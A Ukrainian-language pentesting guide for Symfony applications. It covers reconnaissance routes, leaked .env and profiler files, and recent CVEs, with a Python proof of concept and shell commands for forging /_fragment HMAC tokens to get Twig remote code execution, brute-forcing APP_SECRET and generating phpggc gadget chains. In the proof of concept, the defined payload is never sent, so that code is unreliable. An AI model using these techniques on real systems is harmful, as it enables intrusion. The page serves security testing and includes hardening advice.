9.2 KiB
Raw Blame History

Symfony

{{#include ../../banners/hacktricks-training.md}}

Symfony є одним з найпоширеніших PHP фреймворків і регулярно з'являється в оцінках цілей підприємств, електронної комерції та CMS (Drupal, Shopware, Ibexa, OroCRM … всі вбудовують компоненти Symfony). Ця сторінка збирає наступальні поради, поширені неправильні конфігурації та нещодавні вразливості, які ви повинні мати у своєму контрольному списку, коли виявляєте додаток Symfony.

Історична примітка: Велика частина екосистеми все ще працює на гілці 5.4 LTS (EOL Листопад 2025). Завжди перевіряйте точну незначну версію, оскільки багато з 2023-2025 років безпекових рекомендацій були виправлені лише в патчах (наприклад, 5.4.46 → 5.4.50).


Рекон та Перерахунок

Визначення

  • HTTP заголовки відповіді: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link або куки, що починаються з sf_redirect, sf_session, MOCKSESSID.
  • Витоки вихідного коду (composer.json, composer.lock, /vendor/…) часто розкривають точну версію:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Публічні маршрути, які існують лише на Symfony:
  • /_profiler (Symfony Profiler & панель інструментів налагодження)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (красиві сторінки помилок)
  • /app_dev.php, /config.php, /config_dev.php (перед-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith або ffuf/feroxbuster wordlists: symfony.txt → шукайте /_fragment, /_profiler, .env, .htaccess.

Цікаві файли та кінцеві точки

Шлях Чому це важливо
/.env, /.env.local, /.env.prod Часто неправильно розгорнуті → витоки APP_SECRET, облікові дані БД, SMTP, AWS ключі
/.git, .svn, .hg Витік виходу → облікові дані + бізнес-логіка
/var/log/*.log, /log/dev.log Неправильна конфігурація веб-кореня відкриває стек-трейси
/_profiler Повна історія запитів, конфігурація, контейнер сервісів, APP_SECRET (≤ 3.4)
/_fragment Точка входу, що використовується ESI/HInclude. Зловживання можливе, як тільки ви знаєте APP_SECRET
/vendor/phpunit/phpunit/phpunit PHPUnit RCE, якщо доступно (CVE-2017-9841)
/index.php/_error/{code} Визначення та іноді витік трас виключень

Вразливості високого впливу (2023-2025)

1. Витік APP_SECRET ➜ RCE через /_fragment (також відомий як “secret-fragment”)

  • CVE-2019-18889 спочатку, але досі з'являється на сучасних цілях, коли налагодження залишається увімкненим або .env відкритий.
  • Як тільки ви знаєте 32-символьний APP_SECRET, створіть HMAC токен і зловживайте внутрішнім контролером render(), щоб виконати довільний Twig:
# PoC  вимагає секрет
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE в Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Чудовий опис та скрипт експлуатації: блог Ambionics (посилання в довідці).

2. Підміна процесу Windows CVE-2024-51736

  • Компонент Process шукає поточний робочий каталог перед PATH на Windows. Атакуючий, який може завантажити tar.exe, cmd.exe тощо в записуваний веб-корінь і викликати Process (наприклад, витяг файлів, генерація PDF), отримує виконання команд.
  • Виправлено в 5.4.50, 6.4.14, 7.1.7.

3. Фіксація сесії CVE-2023-46733

  • Аутентифікаційний захист повторно використовував існуючий ідентифікатор сесії після входу. Якщо атакуючий встановлює куки перед аутентифікацією жертви, вони захоплюють обліковий запис після входу.

4. XSS в пісочниці Twig CVE-2023-46734

  • У додатках, які відкривають шаблони, контрольовані користувачем (адмін CMS, конструктор електронної пошти), фільтр nl2br може бути зловжито для обходу пісочниці та впровадження JS.

5. Ланцюги гаджетів Symfony 1 (досі знаходяться в застарілих додатках)

  • phpggc symfony/1 system id генерує Phar payload, який викликає RCE, коли відбувається unserialize() на класах, таких як sfNamespacedParameterHolder. Перевірте кінцеві точки завантаження файлів та обгортки phar://.

{{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}}


Чек-лист експлуатації

Розрахунок HMAC токена для /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Брутфорс слабкого APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE через відкритий Symfony Console

Якщо bin/console доступний через php-fpm або пряме завантаження CLI:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Використовуйте гаджети десеріалізації в каталозі кешу або напишіть шкідливий шаблон Twig, який буде виконано під час наступного запиту.


Захисні примітки

  1. Ніколи не розгортайте налагодження (APP_ENV=dev, APP_DEBUG=1) у виробництві; заблокуйте /app_dev.php, /_profiler, /_wdt у конфігурації веб-сервера.
  2. Зберігайте секрети в змінних середовища або vault/secrets.local.php, ніколи в файлах, доступних через кореневу директорію документа.
  3. Забезпечте управління патчами підписуйтесь на сповіщення про безпеку Symfony та підтримуйте принаймні рівень патчів LTS.
  4. Якщо ви працюєте на Windows, терміново оновіть, щоб зменшити ризик CVE-2024-51736 або додайте захист у глибині open_basedir/disable_functions.

Корисні наступальні інструменти

  • ambionics/symfony-exploits RCE з секретним фрагментом, виявлення маршрутів налагоджувача.
  • phpggc Готові ланцюги гаджетів для Symfony 1 та 2.
  • sf-encoder маленький помічник для обчислення HMAC _fragment (реалізація на Go).

Посилання